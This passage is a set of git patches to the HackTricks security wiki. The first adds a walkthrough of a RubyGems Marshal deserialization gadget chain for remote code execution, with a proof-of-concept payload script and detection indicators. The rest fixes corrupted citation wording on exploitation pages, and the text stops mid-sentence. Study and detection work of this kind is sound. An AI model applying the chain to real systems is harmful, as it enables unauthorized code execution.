From 3fb17f652179f2cf9d5905c11942075cb1d8bc2d Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 14 Aug 2026 13:14:37 +0000 Subject: [PATCH 1/3] Add content from: Ruby 4.0 Universal RCE Deserialization Gadget Chain --- src/pentesting-web/deserialization/README.md | 33 ++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 99e46f67273..e89acdd71af 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -1174,6 +1174,38 @@ Using the arbitrary file write vulnerability, the attacker writes the crafted ca Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.[[35]](#references) + +#### Ruby 3.3–4.0 universal RubyGems chain + +A dependency-free chain demonstrated on Ruby `4.0.6` (and reported to work unchanged on `3.3` through `4.0.6`) uses RubyGems code shipped with Ruby. The exact chain needs outbound HTTPS access and a writable destination such as `/tmp`; command execution has the Ruby process privileges and is **not** a local privilege escalation.[[53]](#references) + +The serialized graph is ordered so that the download/write side effect completes before a later `Hash`-key callback evaluates the downloaded Ruby source:[[53]](#references) + +1. Resolving `Gem::SpecFetcher` near the start of `Marshal.load` activates RubyGems autoloading and makes later gadget classes available even in a bare process. +2. A forged `Time` stores a `Gem::URI::Generic` object as its zone. During `Time._load`, `StringValueCStr` calls `to_str`; `Gem::URI::Generic#to_str` aliases `to_s`, which calls `@port.to_s` on an embedded `Gem::RequestSet::Lockfile` downloader. +3. The downloader uses an `s3` URI to reach signing code that emits an HTTPS URL. Traversal components placed in the URI's attacker-controlled port-derived path escape the RubyGems cache, while `Gem::Util.inflate` converts the remote `.rz` response into `/tmp/quick/Marshal.4.8/name-.gemspec`. +4. RubyGems then tries to parse that source file as serialized specification data and raises. This is useful because the file write already happened, and `time_mload` validates the zone inside `rb_rescue`, suppressing the post-write exception so graph reconstruction continues. +5. A `Gem::StubSpecification` with `@loaded_from` set to the written path is restored as a `Hash` key. Hash reconstruction invokes its `hash` method, which reaches `Gem::Specification.load(@loaded_from)`; that method reads the file and evaluates it as Ruby. + +The hosted response must be a deflated Ruby program. Make its last expression a valid `Gem::Specification` so the subsequent `name`, `version`, and `platform` accesses succeed and `Marshal.load` can return without the otherwise expected warning/exception:[[53]](#references) + +```bash +cat > payload.rb <<'RUBY' +puts `id` +Gem::Specification.new do |s| + s.name = "poc" + s.version = "1.0.0" +end +RUBY +ruby -rrubygems -e 'File.binwrite("poc-id.rz", Gem.deflate(File.binread("payload.rb")))' +``` + +`Marshal.dump` cannot normally produce a `Time` with an arbitrary object as its zone because `Time#_dump` serializes native state. The generator therefore dumps a placeholder object and replaces its bytes with a `TYPE_USERDEF` (`u`) `Time` entry wrapped by `TYPE_IVAR` (`I`), leaving the already serialized zone gadget after it. Keep the same number and order of symbol definitions on both sides of the replacement because later `TYPE_SYMLINK` entries are positional. Also stub `Gem::StubSpecification#hash` while building the generator-side `Hash`; otherwise the key gadget fires before serialization.[[53]](#references) + +This chain also shows why partially broken gadgets should be retested rather than discarded: RubyGems type checking removed the older `Gem::Version` `to_s` wrapper, and moving Git executable names out of attacker-restorable instance variables removed the older execution sink, but the surviving fetch/write primitive was reusable behind new trigger and evaluation gadgets.[[53]](#references) + +Specific hunting indicators include Marshal blobs naming `Gem::SpecFetcher`, `Time`, `Gem::URI::Generic`, `Gem::RequestSet::Lockfile`, and `Gem::StubSpecification`; HTTPS egress during deserialization; unexpected files below `/tmp/quick/Marshal.4.8/`; or stack traces containing `Time._load`, `Gem::StubSpecification#hash`, and `Gem::Specification.load`.[[53]](#references) + `Gem::SafeMarshal` was introduced to deserialize a restricted set of RubyGems objects, but the exact version still matters. Research against the Ruby 3.4 prerelease implementation showed that allowlisted `Date` and `Time` object paths could escape the restrictions and re-enter unrestricted `Marshal.load`; consequently, `SafeMarshal` is defense in depth, not a substitute for preventing attacker-controlled bytes from reaching a deserializer.[[47]](#references)[[48]](#references) The RubyGems 3.6.2 integration was merged into Ruby immediately before the Ruby 3.4 final release.[[49]](#references) @@ -1266,5 +1298,6 @@ Industrialized gadget discovery: - [50] [NCC Group – Freddy](https://github.com/nccgroup/freddy) - [51] [es.slideshare.net - Java Deserialization Vulnerabilities The Forgotten Bug Class](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) - [52] [alphabot.com - Fastjson Exceptional Deserialization Vulnerabilities](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) +- [53] [elttam – Ruby 4.0 Universal RCE Deserialization Gadget Chain](https://elttam.com/blog/ruby-4-0-universal-rce-deserialization-gadget-chain) {{#include ../../banners/hacktricks-training.md}} From 2254edd123bdb29916fe989bd57b933440a0f3d9 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:36:49 +0200 Subject: [PATCH 2/3] Restore text corrupted by citation cleanup --- .../7.0.-lora-improvements-in-fine-tuning.md | 2 +- .../arbitrary-write-2-exec/aw2exec-sips-icc-profile.md | 2 +- .../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md | 2 +- .../imessage-media-parser-zero-click-coreaudio-pac-bypass.md | 2 +- .../libc-heap/gnu-obstack-function-pointer-hijack.md | 2 +- src/binary-exploitation/libc-heap/heap-overflow.md | 2 +- src/binary-exploitation/libc-heap/house-of-force.md | 4 ++-- src/generic-hacking/archive-extraction-path-traversal.md | 2 +- src/generic-hacking/tunneling-and-port-forwarding.md | 4 ++-- .../partitions-file-systems-carving/README.md | 2 +- .../svg-font-glyph-analysis-and-web-drm-deobfuscation.md | 4 ++-- .../pentesting-network/dhcpv6.md | 2 +- .../pentesting-wifi/README.md | 2 +- .../linux-basics/bypass-linux-restrictions/README.md | 4 ++-- ...oid-rooting-frameworks-manager-auth-bypass-syscall-hook.md | 2 +- .../macos-installers-abuse.md | 2 +- .../24007-24008-24009-49152-pentesting-glusterfs.md | 2 +- .../5353-udp-multicast-dns-mdns.md | 2 +- .../pentesting-631-internet-printing-protocol-ipp.md | 2 +- src/network-services-pentesting/pentesting-ldap.md | 2 +- .../pentesting-mssql-microsoft-sql-server/README.md | 2 +- src/network-services-pentesting/pentesting-sap.md | 2 +- .../ksmbd-attack-surface-and-fuzzing-syzkaller.md | 4 ++-- .../forced-extension-load-preferences-mac-forgery-windows.md | 2 +- src/pentesting-web/h2c-smuggling.md | 4 ++-- .../postgresql-injection/rce-with-postgresql-extensions.md | 2 +- .../ssti-server-side-template-injection/README.md | 2 +- src/pentesting-web/xss-cross-site-scripting/sniff-leak.md | 2 +- .../xss-cross-site-scripting/xss-in-markdown.md | 2 +- .../active-directory-methodology/kerberoast.md | 2 +- .../windows-local-privilege-escalation/create-msi-with-wix.md | 2 +- 31 files changed, 37 insertions(+), 37 deletions(-) diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 8583d5f109c..33a0c992846 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -19,7 +19,7 @@ LoRA makes it possible to fine-tune **large models** efficiently by only changin 3. **Efficient Task-Specific Fine-Tuning**: When you want to adapt the model to a **new task**, you can just train the **small LoRA matrices** (A and B) while leaving the rest of the model as it is. This is **much more efficient** than retraining the entire model. 4. **Storage Efficiency**: After fine-tuning, instead of saving a **whole new model** for each task, you only need to store the **LoRA matrices**, which are very small compared to the entire model. This makes it easier to adapt the model to many tasks without using too much storage. -The following minimal implementation adapts the d notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) +The following minimal implementation adapts the cited notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) ```python import math diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index cfd36adda19..b73761840da 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -99,7 +99,7 @@ The header and tag layout follow the ICC profile format, but this remains a stru ## Impact -Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The d advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) +Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The cited advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) ## Detection & Mitigation diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 8e5c3201753..2fdda88877a 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -42,7 +42,7 @@ Note that entries in `.fini_array` are called in **reverse** order, so you proba #### Eternal loop -The d Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) +The cited Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) - Use your first write to **call the vulnerable arbitrary write function** again - Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** diff --git a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md index 27bd11de3cb..c5b88616ee6 100644 --- a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md +++ b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the d JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) +This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the cited JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) > Warning: This is an educational summary to help defenders, researchers, and red teams understand the techniques. Do not use offensively. diff --git a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md index e874f06740d..254e2fa8d2d 100644 --- a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md +++ b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md @@ -4,7 +4,7 @@ ## Overview -GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the d **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) +GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the cited **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) - `chunkfun` (offset `+0x38`) with signature `void *(*chunkfun)(void *, size_t)` - `freefun` (offset `+0x40`) with signature `void (*freefun)(void *, void *)` diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 6a354e9ed21..9ce39e5b5b4 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -17,7 +17,7 @@ In stack overflows, the layout and data present when the vulnerability is trigge Heap allocations, by contrast, are placed and reused according to allocator policies such as size classes, bins, zones, and freelists. The object adjacent to a vulnerable allocation can therefore be difficult to predict. Exploitation usually requires a **reliable way to place a useful victim object immediately after the overflowing buffer**. -One technique for controlling this layout is **heap grooming**. The d iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) +One technique for controlling this layout is **heap grooming**. The cited iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) In that exploit, several threads force many **`kalloc` allocations to fill existing free chunks and encourage the creation of a new page**, helping place the overflowing object next to a chosen victim.[[3]](#references) diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index ce0f6fe1869..dc0e77682b1 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -22,7 +22,7 @@ In a vulnerable allocator, the attacker corrupts the top-chunk size to the maximum unsigned value, then requests a carefully chosen size that advances the top pointer to just before target address `P`. Request size and `mmap` behavior still depend on allocator checks, thresholds, alignment, and integer arithmetic.[[3]](#references) -Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the d PoC, the request calculation is:[[4]](#references) +Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the cited PoC, the request calculation is:[[4]](#references) ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 @@ -37,7 +37,7 @@ Calculate the distance from the current top chunk to the target. The first craft */ ``` -For the d 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ +For the cited 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ Then call `malloc` again to obtain a chunk overlapping the target address. ### Worked exploit examples diff --git a/src/generic-hacking/archive-extraction-path-traversal.md b/src/generic-hacking/archive-extraction-path-traversal.md index 988d1e0cb2b..81d05ff4f75 100644 --- a/src/generic-hacking/archive-extraction-path-traversal.md +++ b/src/generic-hacking/archive-extraction-path-traversal.md @@ -99,7 +99,7 @@ ESET reported RomCom (Storm-0978/UNC2596) spear-phishing campaigns that attached ## Mitigation & Hardening -1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the d path/symlink issues.[[1]](#references)[[5]](#references) +1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the cited path/symlink issues.[[1]](#references)[[5]](#references) 2. Extract archives with “**Do not extract paths**” / “**Ignore paths**” when possible. 3. On Unix, drop privileges & mount a **chroot/namespace** before extraction; on Windows, use **AppContainer** or a sandbox. 4. If writing custom code, normalise with `realpath()`/`PathCanonicalize()` **before** create/write, and reject any entry that escapes the destination. diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 739a7cd5f6d..e192eb36faf 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -817,7 +817,7 @@ qemu-system-x86_64.exe ^ ### Launching stealthily through VBScript -TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident d above.[[1]](#references) +TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident cited above.[[1]](#references) ```vb ' update.vbs – lived in C:\ProgramData\update @@ -829,7 +829,7 @@ Running the script with `cscript.exe //B update.vbs` keeps the window hidden.[[1]](#references) +The cited incident describes persistence in the stateless Tiny Core guest through `/opt/bootlocal.sh` and `/opt/filetool.lst`:[[1]](#references) 1. Drop payload to `/opt/123.out` 2. Append to `/opt/bootlocal.sh`: diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 38c658971c9..ed04bdf8808 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -97,7 +97,7 @@ The partition table header defines the usable blocks on the disk. It also define | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | | 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | | 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md index db2699f3bc2..a8f178cc638 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md @@ -245,7 +245,7 @@ The source report used run geometry, style fields, and link metadata to preserve - In practice, books converge to a few hundred unique glyphs (e.g., ~361 including ligatures). Cache SSIM results by perceptual hash.[[1]](#references) - After initial discovery, future batches predominantly re-use known hashes; decoding becomes I/O-bound. -- The d report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) +- The cited report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) ## Generalization to other viewers @@ -279,7 +279,7 @@ Adjust parameterization (book ASIN, page window, viewport) to match the reader ## Results achievable - Collapse 100+ randomized alphabets to a single glyph space via perceptual hashing.[[1]](#references) -- In the d 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) +- In the cited 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) - The source report describes the reconstructed EPUB as near-indistinguishable from the original.[[1]](#references) ## References diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index e877f5d1f8e..288d3f62032 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -78,7 +78,7 @@ sudo atk6-flood_dhcpc6 ### Reconfigure Message Caveat -Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolid Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. +Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolicited Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. ## References diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index 915df32d59e..6abcdeb3042 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -986,7 +986,7 @@ This method allows an **attacker to create a malicious access point (AP) that re ### MANA -Then, **devices started to ignore unsolid network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solid by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. +Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP.[[4]](#references) diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md index 6ba9420b663..c23134c363f 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md @@ -358,7 +358,7 @@ Therefore you can create a *NOP sled for Bash* by prefixing your real command wi # 16× spaces ───┘ ↑ real command ``` -If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the d router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) +If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the cited router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) Practical use cases in constrained embedded targets include:[[5]](#references) @@ -366,7 +366,7 @@ Practical use cases in constrained embedded targets include:[[5]](#referenc 2. Payload channels where the attacker cannot write NULL bytes to align the payload (a general adaptation of the alignment problem).[[5]](#references) 3. Embedded devices with a small BusyBox `ash`/`sh` environment, which BusyBox documents as applets in resource-constrained systems.[[10]](#references) -> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the d router research demonstrates this combination on constrained hardware.[[5]](#references) +> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the cited router research demonstrates this combination on constrained hardware.[[5]](#references) ## References diff --git a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index c06efd034be..ce095589ec2 100644 --- a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -66,7 +66,7 @@ The concrete KernelSU v0.5.7 case requires:[[1]](#references)[[3]](#referen --- ## Exploitation outline (KernelSU v0.5.7) -High-level steps (the d demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) +High-level steps (the cited demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks. 2) Place a genuine KernelSU Manager base.apk under `/data/app/` at a path containing your package string, then open it on a lower-numbered FD than your own base.apk. 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) to pass the checks. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index e7d43f0e88f..8ec1645bfa5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -79,7 +79,7 @@ The hierarchy of a DMG file can be different based on the content. However, for ### Execution from public directories -If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The d talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references) +If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The cited talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references)
https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index 43db447d52b..a2d638c3906 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -61,7 +61,7 @@ In an authorized lab, obtain the following files from a provisioned client and p ## Version-specific vulnerabilities -The affected versions and impacts below come from the d CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) +The affected versions and impacts below come from the cited CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) | CVE | Affected versions | Impact | Notes | |-----|-------------------|--------|-------| diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index f1477c32453..9147edbb08d 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -110,7 +110,7 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work - Avahi reachable-assertion bugs CVE-2023-38469 through CVE-2023-38473 and the D-Bus-related CVE-2023-1981 can terminate `avahi-daemon` on affected distributions, disrupting service discovery until it restarts. The exact vectors differ; install the distribution's fixed Avahi package rather than treating the identifiers as one network exploit.[[12]](#references) - Cisco IOS XE Wireless LAN Controller mDNS gateway CVE-2024-20303 allows an unauthenticated adjacent WLAN attacker to send a sustained stream of crafted mDNS traffic, drive controller CPU high, and potentially disconnect AP tunnels. It is a disruptive DoS condition, not a general-purpose roaming primitive.[[4]](#references) - Apple mDNSResponder CVE-2024-44183 allowed a local app to cause denial of service. Apple addressed the logic error in iOS/iPadOS 18; consult the matching advisory for other Apple platform releases.[[5]](#references)[[15]](#references) -- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the d macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) +- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the cited macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) ### Browser/WebRTC mDNS considerations diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index 88322fd6edf..98cd67638cb 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -122,7 +122,7 @@ Placing a symbolic link in *cupsd.conf*'s `Listen` directive can make `cupsd` (o 2. Disable `cups-browsed` and UDP/631 unless zeroconf printing is required. 3. Restrict TCP/631 to trusted subnets/VPN and enforce **TLS (ipps://)**. 4. Require **Kerberos/Negotiate** or certificate auth instead of anonymous printing. -5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolid PPD downloads or suspicious filter invocations. +5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolicited PPD downloads or suspicious filter invocations. 6. In high-security networks, move printing to a hardened, isolated print server that proxies jobs to devices via USB only. ## References diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index a6dab9ca54f..4cb73c19cc1 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -114,7 +114,7 @@ For `ldaps://` or successfully negotiated StartTLS, interception additionally re ### Bypass TLS SNI check -In the d environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an 